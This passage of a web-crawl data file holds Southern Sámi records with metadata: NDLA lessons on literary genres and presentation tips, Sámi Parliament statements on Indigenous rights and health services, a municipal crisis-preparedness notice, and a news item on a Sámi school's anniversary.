Filme-analyseKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:182039\/topic:1:182011","date":"2019-04-23T22:37:36Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578613888.70\/warc\/CC-MAIN-20190423214818-20190424000818-00361.warc.gz","language":"sma","language_score":0.9997424483,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"sma_Latn_score\": 0.9997424483299255}","num_words":115,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.124,"stopwords_ratio":0.139,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Jiehtege tjiehpies-lidteratuvre båata dehtie fransken jiehtiegistie belles-lettres jïh daate lidteratuvre edtja estetihke dååjresem lohkijasse vedtedh. Gosse tjaelije tjiehpieslidteræære-tjaalegh tjaala dellie maahta fantasijem nuhtjedh, jïh soptsesem hæhtadidh.\nGosse tjaelije lea soptsesem hæhtadamme, ibie dellie sïjhth dam lohkedh? Mijjieh gujht sïjhtebe læjhkan soptsesem lohkedh, dan åvtese mijjieh joe guarkeme tjaelije lea soptsesem hæhtadamme. Men læjhkan gosse mijjieh lohkebe dellie maehtebe goh soptsesen sïjse jieledh. Jïh dle maehtebe guarkedh guktie persovnh soptsesisnie dåemiedieh jïh maehtebe aaj heannadimmieh guarkedh, jalts mijjieh daejrebe soptsese ij leah saatnan.\nTjiehpies-lidteratuvre edtja mijjem faepieldidh jïh dååjrehtimmieh mijjese vedtedh, men aaj edtja goerkesem jïh daajroem vedtedh – ånnetji jeatjhlaakan enn aamhtese-prosa.\nTjiehpies-lidteratuvren golme åejvie-dåehkieh\nBåeries vuekien mietie mijjieh maehtebe tjiehpies-lidteræære tjaalegh golmine dåehkine juekedh:\n- Epihke tjaalegh; soptsesh\n- Lyrihke tjaalegh; dikth\/tjihtesh musihkine jïh aaj bielelen musihke\n- Dramatihke tjaalegh; gaajhkh mah sceenesne spealadamme\nBåeries baakoeh jïh jiehtegh\nBaakoeh epihke, lyrihke jïh dramatihke soptsestieh guktie almetjh åvtesne tjaalegh åehpiedehtin. Epose lea guhkies heartoehtæjja-tjaalege sjïere hammosne mij soptsestæjja soptsesti. Soptsestæjja dellie diktem soptsesti lyre-musihkine. Jïh dejpeli almetjh draamam vuesiehtin ålkone stoerre amfi-teaterisnie mij annje jielieminie. Men eah saemieh naan aejkien lyre-musihkem tjoejehtamme. Mijjen dellie epose?\nSaemieh iktegisth joejkeme jïh Anders Fjellner (1795-1876) lea joejke-teksth vaajestamme. Akte dejstie lea Biejjien Baernien såangoe jeahnaj eatnamisnie, maam maehtebe sjugniedimmie-eposinie gåhtjodh. Daate epose soptseste gubpede dah voestes saemieh båetieh. Fjellnere soptsesti, daam eposem govli dovne Torne dajvesne jïh åarjel-saemien dajvesne.[1]\nMijjieh annje tjaalegh juekebe guktie aarebi. Gellie tjiehpies-lidteræære tjaalegh aktede daejstie dåehkijste daejnie golme dåehkine sjiehtieh. Soptsestæjja ij leah akte rïektes almetje, tjaaleldh soptsesinie. Soptsestæjja lea tjaalegen sïjse jåhteme jïh persovnine sjïdteme soptsesisnie. Annje daelie mijjieh lyrihkem nuhtjebe gosse laavlobe, men maehtebe aaj barre diktem lohkedh. Jïh daan biejjien mijjieh draama-sceenem utnebe teaterisnie, raadijovisnie, kinovisnie, tv:sne jïh gelline sjeermine - men aaj ålkone.\nBaakoeh\nSaemien\nDaaroen\ndååjrese\nopplevelse\nheartoehtæjja\nhelt\n- 1«Tjaalehvuekieh». Kappfjell, Lena. 2014.\nSjangerhKjernestoff","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:159493\/topic:1:159687\/resource:1:159925","date":"2019-04-22T15:00:22Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00003.warc.gz","language":"sma","language_score":0.9999902248,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999902248382568}","num_words":294,"character_repetition_ratio":0.067,"word_repetition_ratio":0.0,"special_characters_ratio":0.151,"stopwords_ratio":0.109,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Akte digitaale tjoevkeguvvie-åehpiedehteme maahta gaajh joekehts årrodh. Maam edtjh åehpiedehtedh – guvvieh jallh teemam? Soptsesth? Musihke aaj? Guktie edtjh åehpiedehtemem vuesiehtidh – viehkine projektoristie klaasse-tjiehtjielisnie jallh dam sosijaale meedijinie juekedh?\nDaesnie fokusem bïejebe åehpiedehtiemasse håaleminie jïh digitaale tjoevke-guvvieh lierriehtisnie klaassesne. Mijjieh tsihkestehtebe håaleme lea vihkielommes, jïh tjoevke-guvvieh edtjieh ajve dåarjojne årrodh håalemasse.\nRaerieh tjoevke-guvvide\n- Darjoeh aktem hijven maanusem åvtelen tjoevke-guvviejgujmie aalkah.\n- Nuhtjh tjoevke-guvvide åejvie-poengi mietie maanusisnie.\n- Fïerhte tjoevke-guvvie edtja dov goltelæjjah viehkiehtidh åejvie-poengide håalemisnie guarkedh.\n- Nuhtjh vaenie baakoeh fïerhten tjoevke-gåvvan.\n- Aellieh ellies raajesh tjoevke-guvvine nuhtjh. Dïhte tsåatskelesvoetem vaalta.\n- Goltelæjjah eah edtjh daarpesjidh jïjnjem lohkedh. Dah edtjieh datnem goltelidh.\n- Nuhtjh maaje bijjie-baakoeh maanusistie goh tsiehkie-baakoeh tjoevke-guvvine.\n- Åehpiedehtieh detaljide njaalmeldh.\n- Nuhtjh guvvieh mah poengide vuesiehtieh. Guvvieh jïh håaleme edtjieh ektesne sjïehtedh.\n- Nuhtjh maaje guvvieh mej sisnie goltelæjjah jïjtjemse damtijieh.\n- Nuhtjh tjïelke hammoedimmiem. Dah mah minngesne raajrosne tjahkasjieh edtjieh aaj vuejnedh.\n- Veeljh fonth goh Helvetica, Arial, Verdana jallh Gill Sans MT. Vihkeles gaajhke lea aelhkie lohkedh.\n- Nuhtjh stoerre tjaeleme-stoeredahkem, vuesiehtimmien gaavhtan 36. Gaajhkesh edtjieh vuejnedh.\n- Nuhtjh jeenjemes 20-30 guvvieh. Vaenie guvvieh leah buerebe goh gellie.\n- Darjoeh åehpiedehtemem åenehke, jeenjemes 15 minudth.\n- Nuhtjh tjoevkes teekstem mïrhke duekesne jis tjoevke lea geahpanamme.\n- Nuhtjh mïrhke teekstem tjoevkes duekesne jis tjiehtjele tjuavkede\n- Aellieh effekth jïh låtnoehtimmieh nuhtjh. Dïhte tsåatskelesvoetem vaalta.\n- Målsoeh guvvieh soejmetje bielelen dejtie jårrehtidh jallh jeatjah rovnege vuekieh nuhtjedh.\n- Unnedh guvvieh. Åehpiedehteme-fijlh varke stoerre sjidtieh.\n- Vuesehth maaje filme-stuhtjetjh ryöktesth tjoevke-guvviej sisnie goh akte jeerehtse.\nFilme-stuhtjetjh\nFilme-stuhtjetjh maehtieh hijven årrodh dastegh dah sisvegem hijvenlaakan vuesiehtieh. Aevhkie filmine lea datne maahtah dov dïjrem beagkoehtidh bielelen datne daarpesjh gaajhkem jïjtje jiehtedh. Filme maahta nænnoes viehkie-vierhtine årrodh jis dïhte lea hijvenlaakan dorjeme.\nFilme tjuara hijven ektiedimmiem sisveginie utnedh håalemisnie. Ij leah aelhkie hijven filmh darjodh. Akte hijven alternatijve lea filmh nuhtjedh mejtie gaske-viermesne gaavnh, dastegh ih filmide jïjtje darjoeh.\nMusihke\nMusihke maahta hijven sjïehtedh dastegh aktem tjoevkeguvvie-seerijem vuesehth ajve guvviejgujmie. Dastegh sisvege lea håalemisnie, musihke sæjhta sån hearaldehtedh. Nuhtjh musihkem vååregelaakan, jïh ih gosse soptsesth.\n3 x 3\nDastegh dïjre lea fer gïerve jïh fer jïjnjh biehkieh åtna, dellie gïerve sjædta dåastoejasse dam mujhtedh. 3 x 3 maahta dan åvteste akte hijven njoelkedasse nuhtjedh gosse aktem åehpiedehtemem dorje: konsentreredh jeenjemes golme åejvie-poengi bïjre, jiehtieh dejtie mubpesth gulmh, jïh utnieh tjïelke konklusjovnh\/poengh.\nGyhtjelassh savkeste\nDaamtaj goltelæjjah sijhtieh gyhtjelassh gihtjedh mearan håalije hååle. Datne dam lyjhkh? Åajvahkommes lea væjsehke goltelæjjide birredh gyhtjelassigujmie båetedh håalemen mænngan. Dellie ih dan aelhkieslaakan laejkiem dassh, jïh datne buerebelaakan dam vedteme tïjjem steerh. Ussjedh man bïjre datne maahtah gyhtjelassh åadtjodh, jïh ryöjredh dejtie. Utnieh maaje såemies tjoevke-guvvieh lissine.\nTeknihkeles ryöjredimmieh\n- Öörnedh gaajhkh daalhketjh eejehtimmesne.\n- Gïehtjh projektovre jåhta.\n- Öörnedh aaj PC:m, jïh gïehtjh guvvieh leah våajnoes dovne PC:sne jïh lierriehtisnie.\n- Gïehtjh tjoejem, jïh darjoeh staeriedimmieh jis daerpies.\n- Aelkieh åehpiedehteme-fijlem. Pryövh mejtie gaajhke jåhta.\n- Leessh bæjjese gaajhkh filmh jallh nedte-sæjroeh datne edtjh vuesiehtidh. Gïehtjh dah juhtieh.\n- Ohtsedh maanusem jallh tjaeliestimmieh mejtie håalemasse daarpesjh.\n- Giesieh klaase-lijnide klaasi uvte dastegh jemhkelds tjiehtjelem sïjhth.\n- Pryövh presenteren mij åtnasåvva gosse edtja guvvieh målsodh (jis skuvle dam åtna).\nJis datne sisvegem veele damth, jïh daajrah gaajhkh teknihkeles dalhketjh leah öörnegisnie dellie datne jearsoes sjïdth jïh dov åehpiedehteme buerebe sjædta.\nBaakoeh\nSaemien\nDaaroen\nlierrehte\nlerret\ntsihkestehtedh\nforutsette\ndåarjoe\nstøtte\ntsåatskelesvoete\noppmerksomhet\nlåtnoehtimmie\novergang\njeerehtse\navveksling\nbeagkoehtidh\ngjøre kjent, formidle","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:181865\/topic:1:181665\/resource:1:181835","date":"2019-04-22T15:17:45Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00099.warc.gz","language":"sma","language_score":1.0000007153,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.0000007152557373}","num_words":516,"character_repetition_ratio":0.062,"word_repetition_ratio":0.0,"special_characters_ratio":0.157,"stopwords_ratio":0.076,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Boelhken 1995 raejeste mijjieh jiene-jienebe tjaelijh åadtjobe mah saemien gïelesne tjaelieh. Men mijjieh aaj tjaelijh utnebe mah daaroen gïelesne jallh jeatjah gïeline tjaelieh dan åvteste eah skuvlesne lïereme saemien gïelem tjaeledh.\nSkuvlesne saemien-gïele faagine sjïdteme. Jïh barkoe aalka bijpelem jïh saemien liturgijem saemien gïelide jarkoestidh. Mijjieh aaj saemien gïele-moenehtsem, gïele-raeriem jïh gïele-ståvroem åadtjoejimh.\nJaepien 1999 ööhpehtimmie-laake jorkesi juktie gaajhkh maanah maadth-skuvlesne jïh jåarhke-skuvlesne edtjieh saemien lïerehtimmiem åadtjodh. Jïh dan åvteste mijjieh vielie-vielebe skuvle-gærjah jïh faage-gærjah åådtjeme. Aaj plaerieh åådtjeme mah artihkelh saemien-gïelesne tjaelieh.\nHeannadimmie siebriedahkesne boelhken 1995 raejeste\nDaennie teemesne datne edtjh tjaalegh lohkedh jïh toelhkestidh mah boelhken 1995 raejeste tjaaleme. Learoesoejkesjisnie tjaaleme datne edtjh digkiedidh guktie siebriedahken jïh kultuvren tsiehkie daan boelhken våajnoes sjædta tjaaleginie. Åehpiedehtemisnie maahtah heannadimmiej bïjre lohkedh mah vihkeles orreme daennie boelhkesne.","id":"","dump":"CC-MAIN-2019-18","url":"https:\/\/ndla.no\/subjects\/subject:15\/topic:1:186476\/topic:1:184089\/topic:1:189075\/resource:1:183933","date":"2019-04-22T14:53:30Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-18\/segments\/1555578555187.49\/warc\/CC-MAIN-20190422135420-20190422161420-00227.warc.gz","language":"sma","language_score":1.0000069141,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"sma_Latn_score\": 1.000006914138794}","num_words":122,"character_repetition_ratio":0.08,"word_repetition_ratio":0.0,"special_characters_ratio":0.149,"stopwords_ratio":0.189,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Lahkoe veartenen aalkoealmetjebiejjine. Daan biejjien mijjieh saeviegidie bijjiedibie juktie seahkarimmiem jïh solidariteetem vuesiehtidh veartenen 370 millijovnh aalkoealmetji åvteste, mah vielie goh 90 laantine årroeminie. Mov kultuvre, jïh mov åabpaj jïh vïelli aalkoealmetjekultuvre lea vaenebe goh 5 % veartenen årroejijstie, men læjhkan jienebelåhkoen bïjre soptsestibie veartenen aerviedamme 7000 gïelide jïh 5000 ovmessie kultuvride. Deejrih luhkie saemien gïelh gååvnesieh mah sinsitneste joekehtedtieh seamma jïjnje goh germaanen gïelh? Saemien gïelh soptsesuvvieh aktene dajvesne mij ryöhkoe Hedmaarhken luvhtie Nöörjesne, Dalarna-dajvesne Gaske- Sveerjesne, Noerhte-Såevmesne jïh noerhteloksese Kolanjaarken raajan Russlaantesne.\nEN:n gaskenasjonaale aalkoealmetjebiejjie lea heevehtamme orreme 1995 raejeste. EN:n generaalekrirrie lea nænnoestamme aalkoealmetjebiejjien teema daan jaepien lea 10-jaepienheevehtimmie EN:n bæjhkoehtæmman aalkoealmetji reaktaj bïjre. Nöörje, saemiedigkieh jïh saemien siebrieh aktem eadtjohke råållam utnin gosse bæjhkoehtimmie tseegkesovvi, jïh leah aaj daam bæjjese fulkeme gaskenasjonaale suerkesne ovmessie EN-sijjine. Gaskenasjonaale suerkesne læjhkan vaenie lea dorjesovveme juktie hoksedh doh ovmessie nænnoestimmieh aalkoealmetjebæjhkoehtimmesne implementeradamme sjidtieh laakine jïh bæjjese fulkesuvvieh reeremi barkosne.\nNænnoestimmesne EN:n veartenekonferanseste aalkoealmetjidie jaepien 2014, lïhtsegestaath leah åeliedamme aalkoealmetjigujmie ektine, nasjonaale dahkoesoejkesjh, strategijh jïh jeatjah råajvarimmieh tjïrrehtidh juktie ulmide jaksedh aalkoealmetje-bæjhkoehtimmesne. Lïhtsegestaath aaj åeliedamme rååresjimmesne jïh laavenjostosne aalkoealmetjigujmie daerpies nasjonaale råajvarimmiejgujmie nïerhkedh, daan nuelesne råajvarimmieh laakevedtemen bïjre jïh reeremisnie juktie aalkoealmetjebæjhkoehtimmiem tjïrrehtidh, jïh aaj goerkesem aalkoealmetjebæjhkoehtæmman eevtjedh gaajhkine bieline siebriedahkeste. Raeriestimmieh jallh skraejrieh eah leah fååtesamme Saemiedigkien bieleste, gaskem jeatjah libie skraejriem vaalteme ihke mijjieh ektesne aktem dahkoesoejkesjem darjobe implementeradimmien bïjre bæjhkoehtimmeste, jïh aktem sjissam dorjeme guktie akte dagkeres barkoe maahta dorjesovvedh bielelen reerenasse lea naan ïedtjem vuesiehtamme daan barkose.\nImplementaradimmie aalkoealmetjebæjhkoehtimmeste fååtese dovne Såevmesne, Sveerjesne jïh Nöörjesne. Mijjieh faatoes rååresjimmieh vuejnebe saemiedigkiej jïh staati gaskem gaajhkine golme laantine. Maadthnjoelkedasse aalkoealmetjebæjhkoehtimmeste mij jeahta aalkoealmetjh edtjieh sijjen frijje jïh beavneme åvtelhbodti jååhkesjimmiem vedtedh, ij tjïrrehtamme sjïdth. Vuesiehtimmieh gååvnesieh mah vuesiehtieh saemiej nyöjhkeme, mej bïjre aamhtese ryöktesth lea, jallh saemiedigkiej nyöjhkeme darjoemidie saemien dajvine ij seahkaramme sjïdth. Staath edtjieh hijven jaahkosne jïjtsh aalkoealmetjigujmie rååresjidh jïh laavenjostedh fïereguhten aalkoealmetjen institusjovni tjïrrh juktie dej frijje jïh beavneme åvtelhbodti jååhkesjimmiem åadtjodh åvtelen luhpiedimmie prosjektide vadtasåvva mah leah dej laantedajvi jallh territovriji bïjre jïh jeatjah vierhtiej bïjre, joekoen bigkemisnie, nuhtemisnie jïh evtiedimmesne mineraale-, tjaetsie- jallh jeatjah vierhtijste.\nMijjieh vuesiehtimmieh utnebe ihke gruvah jïh bïegkejårrehtsepaarhkh luhpiedimmieh åadtjoeh nïerhkedh jalhts saemien åålmege leah tjïelkelaakan nyöjhkeme dan åvteste prosjekth saemien ïedtjh, saemien jielemh jïh saemien kultuvrem nåakelaakan tsevtsieh. Mijjieh vuesiehtimmieh utnebe mah vuesiehtieh voenges aerpievuekien daajroe mij boelvi mietie lea garantistine orreme akten monnehke voenges vierhtienuhtemasse, ij lea vihkeles. Mijjieh vuesiehtimmieh utnebe mah vuesiehtieh voenges almetjh Deatnujeanosne jïh saemiedigkieh eah govlesovvh gænnah, jïh voenges reaktah mubpide sertesuvvieh. Saemiedigkieh eah darhkh nuekies budsjedtem utnieh juktie maehtedh tjïelke jïjtjenænnoestimmiem saetniedehtedh mijjen åålmegi åvteste. Jïjtjenænnoestimmie lea akte dejstie roenegierkijste aalkoealmetjebæjhkoehtimmesne, jïh dellie fïereguhten aalkoealmetji institusjovne tjuara finansieradimmiem åadtjodh ihke dïhte aktene frijje våaroemisnie maahta sov ekonomeles, sosijaale jïh kultuvrelle evtiedimmiem nænnoestidh.\nMijjieh libie vaane jïjnje fïnkese saemiepolitihkesne. Tjuara læjhkan maehtedh veanhtadidh aalkoealmetjebæjhkoehtimmie mij lea bigkeme seamma maallen bijjelen goh jïjnjh jeatjah almetjerïekteles dïrregh, tjuara nuekies åehpie årrodh ihke reerenasse eadtjohkelaakan barkoem aalka daam implementeradidh. Mov haesteme reerenassese lea dan åvteste reektestidh mah vihties råajvarimmieh sijjieh daelie sijjen uvte vuejnieh juktie EN:n aalkoealmetjebæjhkoehtimmiem implementeradidh Nöörjesne.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/www.saemiedigkie.no\/Saemiedigkien-bijre2\/Arkiv-perioden-2016-2017\/Saernievaaarhkoe\/Veartenen-aalkoealmetjebiejjie-mietsken-9.b","date":"2019-05-22T10:38:52Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232256797.20\/warc\/CC-MAIN-20190522103253-20190522125253-00256.warc.gz","language":"sma","language_score":1.00000453,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"sma_Latn_score\": 1.000004529953003}","num_words":494,"character_repetition_ratio":0.085,"word_repetition_ratio":0.0,"special_characters_ratio":0.123,"stopwords_ratio":0.142,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Du är här:\nBuerie båeteme Orrestaaren tjïelten webbesæjjan.\nDaesnie datne bïevnesh gaavnh Orrestaaren bïjre jïh tjïelten barkoej jïh dïenesji bïjre.\nKrijseriejriesvoetevåhkoe lea nasjonelle kampaanje mij jåhta suehpeden 6. biejjien raejeste 11. biejjien raajan. Våhkoen ulmie lea jienebh almetjh edtjieh riejries årrodh jis krijse sjædta. Orrestaaren tjïelte lea kampaanjen meatan maam myndighetern för samhällsskydd och beredskap (MSB) \/ åejvieladtje siebriedahkevaarjelimmie jïh riejriesvoete iktede.\nDæjman tjaalegadtjem seedtesovvi \"Om krisen eller kriget kommer\" \/ \"Jis krijse jallh dåaroe båata\" gaajhkide gåetide laantesne. Tjaalegadtjesne maahtah jienebh lohkedh krijsi bïjre jïh guktie datne ryöjrehth dïsse mestie gïerve deahpadimmeste båata vuesiehtimmien gaavhtan itjmies ovlæhkoeh, itjmies vearelde, it-håvhtadimmieh jallh militææren ovvaantoeh.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/bra.ornskoldsvik.se\/omsorgochhjalp\/invandringintegration\/otherlanguagespublicinformation\/aarjelsaemien.4.4c4feec515e441a88a91f91a.html","date":"2019-05-24T21:45:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257767.49\/warc\/CC-MAIN-20190524204559-20190524230559-00220.warc.gz","language":"sma","language_score":0.9999884367,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"sma_Latn_score\": 0.9999884366989136}","num_words":100,"character_repetition_ratio":0.068,"word_repetition_ratio":0.0,"special_characters_ratio":0.148,"stopwords_ratio":0.1,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Aktine aadtjen jååhkesjamme laavenjostoelatjkojne Healsoe Noerhtine, Saemiedigkie sæjhta premissedeallahtæjjine årrodh gosse edtja dïenesjidie saemien årroejidie evtiedidh. Jïh daennie råållesne sïjhtebe tsiehkieh krööhkestidh mah healsoesuerkesne jijhtieh gusnie doh saemien skïemtjijh eah leah hijvenlaakan gorresovveme. Saemiedigkie sæjhta meatan vaeltedh doh haestemh mejtie saemien skïemtjijh jïh utnijh dååjroeh daejnie prosessine jïh edtja daej gaavhtan seammavyörtegs healsoe- jïh hoksedïenesjh hammoedidh jïh evtiedidh gusnie dïhte saemien skïemtjije lea jarngesne.\nMijjieh gelliej prosessi uvte tjåadtjoeminie gusnie edtjebe healsoedïenesjh saemien årroejidie hammoedidh. Prinsihph daennie barkosne leah tjyölkehke. Mijjieh saemieh dah mah bööremes daajroem saemien tsiehkiej bïjre utnieh jïh bööremeslaakan maehtieh vuarjasjimmieh jïh prioriteradimmieh darjodh mah edtjieh råajvarimmieh buektedh akten seammavyörtegs healsoedïenesjefaalenassen vööste. Daate lea vihtiestamme gaskenasjonaale konvensjovni tjïrrh reaktan bïjre meatannænnoestæmman jïh meatanårroemasse. Dan åvteste Saemiedigkie, laavenjostoelatjkoen tjïrrh Healsoe Noerhtine jïh saemien faagebyjresh leah jarngesne dejnie prosessine mejgujmie lea nïerhkeme.\nÅajvahkommes göökte prosessi bïjre soptsesåvva. Gaajhkh regijonaale healsoesïelth edtjieh aktem regijonaale bijjemes evtiedimmiesoejkesjem sjïerehealsoedïenesjidie darjodh jaepien 2035 vööste. Evtiedimmiesoejkesjh edtjieh dejtie vihkielommes haestiemidie jïh strategeles suerkide buerkiestidh sjïerehealsoedïenesjen sisnjelen 2035 vööste. Vijriesåbpoe akte guhkiebasse evtiedimmie sjïerehealsoedïenesjijstie saemien skïemtjijidie nasjonaale. Healsoe Noerhte lea daelie, laavenjostosne Saemiedigkine daejnie barkojne aalkeme.\nLaavenjostoelatjkoen jïh prosessi gaavhtan saemiej, Saemiedigkien jïh Healsoe Noerhten gaskem dle daate barkoe seammavyörtegs healsoedïenesjigujmie akte eevre orre barkoe gellielaakan. Ij gåessie gih aarebi lea dan veele jïh dan jïjnjem hammoedimmiem jïh evtiedimmiem saemien healsoedïenesjijstie gïehtjedamme goh daelie. Dïhte saemien skïemtjije ij leah gåessie gih jarngesne tjåådtjeme aktene evtiedimmiesoejkesjisnie. Daate kreava mijjieh abpe daan beajjetje healsoefaalenassem vuartasjibie jïh dan gaavhtan soejkesjh darjobe.\nMijjese Saemiedigkieraeresne lea vihkeles aktem eensi jïh hijven barkoem darjodh daennie suerkesne. Mijjieh jarngine utnebe aktem soejkesjem tseegkedh jïh dïsse guhkiebasse evtiedidh jïh sjïehteladtedh daej prosessi tjïrrh. Daate sæjhta jiehtedh mijjieh eajhnadovvebe aktem tjåenghkies saemien healsoedïenesjem buektedh aktene ellies prosessesne. Mijjieh sïjhtebe daan beajjetje haestemh våajnoes darjodh, jïh prosessi tjïrrh sjïehteladtedh daejtie haestiemidie loetedh mej uvte saemien institusjovnh daelie tjåadtjoeh, dovne evtiedimmienuepiej jïh årganiseradimmien bïjre.\nAktine dagkarinie geatskanimmine Saemiedigkie sæjhta meatan årrodh aktem ellies dïenesjefaalenassem tseegkedh. Ij leah akte soejkesjimmie healsoedïenesjijstie mah edtjieh sijjeste båetedh dejstie daaletje faalenassijste jïh evtiedimmie dejstie. Vaallah akte geatskanimmie jïh evtiedimmiebarkoe ihkie daate faalenasse gååvnese. Daate akte tseegkeme mij gaskem jeatjah Saemien Healsoepaarhken evtiedimmienuepieh jïh evtiedimmiedaerpiesvoeth krööhkeste, jïh akte evtiedimmie gusnie ibie sjïerehealsoedïenesjen faalenassh sinsitnien vööste bïejh jïh birrebe saemien årrojh veeljedh. Saemien årrojh hijven baersieldimmiefaalenassem daarpesjieh, jïh saemien årrojh hijven faalenassem daarpesjieh psykiske healsoen jïh geeruvevoeten sisnjeli.\nDan åvteste tjoerebe voerkes årrodh, jis edtjebe daennie barkosne lyhkesidh tjoerebe aktem gamte geatskanimmiem jïh gamte goerkesem dan healsoedïenesjefaalenassen bïjre utnedh mij edtja tseegkesovvedh. Edtjebe lyhkesidh tjoerebe ektesne barkedh, aktene goerkesisnie daate akte nasjonaale faalenasse mij edtja tseegkesovvedh. Juktie lahtestimmieh åadtjodh daan barkose lea vihkeles aktine gamte eadtjohkevoetine. Dan åvteste Saemiedigkie tjåanghkoeh åtneme åarjelsaemien healsoebyjresigujmie, jïh lissine vihties tjåanghkoej bïjre seamadamme Saemien dåakteresiebrine.\nEvtiedimmiesoejkesje akte prosesse maam Healsoe Noerhte eekie stillemen mietie Healsoe- jïh Hoksedepartemeenteste rååresjimmiej mietie Saemiedigkine. Jalhts daate akte barkoe Healsoedepartemeenteste, dellie Saemiedigkie veanhtede Healsoe Noerhte, vueliehkåbpoe sïeltigujmie, vuesehte dah aajhterevoetem vaeltieh evtiedimmiesoejkesji åvteste jïh aajhterevoetem vaeltieh saemien healsoegyhtjelassi åvteste. Daesnie joekoen Finnmaarhkeskïemtjegåetie aktem vihkeles råållam åtna. Daelie gosse saemien healsoegyhtjelassh bæjjese jïh åvtese lokngesuvvieh aavodem goske akte dïenesjefaalenasse saemien årroejidie evtiesåvva aktene hijven jïh konstruktijve laavenjostosne Healsoe Noerhtine.","id":"","dump":"CC-MAIN-2019-22","url":"https:\/\/saemiedigkie.no\/Saernievaaarhkoe\/Saemieh-goh-premissedeallahtaejjah-akten-seammavyoertegs-healsoefaalenassese-saemien-aarroejidie","date":"2019-05-25T05:26:02Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-22\/segments\/1558232257889.72\/warc\/CC-MAIN-20190525044705-20190525070705-00060.warc.gz","language":"sma","language_score":1.0000067949,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"sma_Latn_score\": 1.0000067949295044}","num_words":515,"character_repetition_ratio":0.084,"word_repetition_ratio":0.0,"special_characters_ratio":0.118,"stopwords_ratio":0.165,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Stoerre heevehtimmie Åarjel-saemiej skuvlesne\nJarkoestimmie: Ellen Bull Jonassen\nGaajhke aktine tjaebpies vuasahtalleminie eelki Saemien Sijtesne guvviejgujmie, teekstine jïh boelhketjigujmie plaerijste skuvlen 50 jaepien guhkies histovrijistie. Vuasahtallemen rïhpestæmman minngemes dæjstan bijjelen 100 almetjh böötin jïh jeenjesidie daate akte murreds gaavnedimmie sjïdti aarebi learohkigujmie mejgujmie skuvlesne vaadtseme. Eva Anette Wilks mij lea heevehtimmien koordinatovre lij joekoen madtjeles ihke dan jeenjesh geajnoem gaavnin Saemien Sijtese dæjstan aeredsbiejjien.\n–Joekoen luste almetjidie vuartasjidh mah bïjre jarkan veedtsin vuasahtallemisnie, dellie meehti vuejnedh gellie mojhtesh bååstede böötin, tjïelkeste.\nGïele jïh dotkeme\nDah mah vielie akademihkeles daajroem sïjhtin gujht dam åadtjoejin dejnie göökte biejjine gusnie lij håalemh Snåasen Hotellesne. Teemah goh gïelen aarvoe, institusjovni råålla gïelebarkosne, reeremetjïelte Snåase 10 jaepieh, guktie gïelem bååstede vaeltedh, Sockenlappar jïh dej gïele jïh vielie, lij naan daejstie håalemijstie mejtie akte dïeves seminaaresavka åadtjoeji govledh.\nGærjabæjhkoehtimmie jïh teatere\nHeevehtimmesne aaj göökte gærjah bæjhkoehtin, dïhte voestes lij akte maanagærja, Gullietjååtsele -. Akte klassihkere maam sån jeenjesh leah lohkeme men orre lohkijidie båata daelie. Dïhte mubpie gærja lij akte joekoen tjaebpies gærja saemien vætnoen bïjre \"Aerpiemaahtoe – Åarjelsaemien duedtien baakoeh\" mij gaskem jeatjah aktem stoerre baakoelæstoem jïh gellie buerkiestimmieh åtna saemien vætnoej bïjre. Maanah åadtjoeji teaterestuhtjem \"Staaloe\" vuejnedh mij lea akte öörnedimmie gærjabussen tjïrrh.\nKonserte jïh feestegaskebiejjie\nDoh nööremes aaj sijjen sjaavnjoem heevehtæmman åadtjoejin, gidtjh artistem Kevin Boine, jïh jalhts Boine lij buektiehtamme guektiengierts dongkesovvedh, jïh dan åvteste tjoeri konsertem sertedh laavadahkeste bearjadahkese, dellie læjhkan jeenjesh mah konsertese böötin. Boinen teeksth eah leah dagke sjiehteles dejtie ellen nööremesidie, men idtji vååjnh goh naakenh dan bïjre pryjjh, juktie lij hijven aajmoe jïh jeenjesh daanhtsoehtin abpe konsertesne.\nVielie goh 200 almetjh lin meatan feestegaskebiejjesne Snåsa hotellesne, jïh jeenjesh båeries voelph jïh learohkh gaavnedin mejgujmie klaassesne vaadtseme. Gellie mojhtesh jïh hijven soptsesh soptsesovvin abpe iehkeden.\n–Mijjieh joekoen 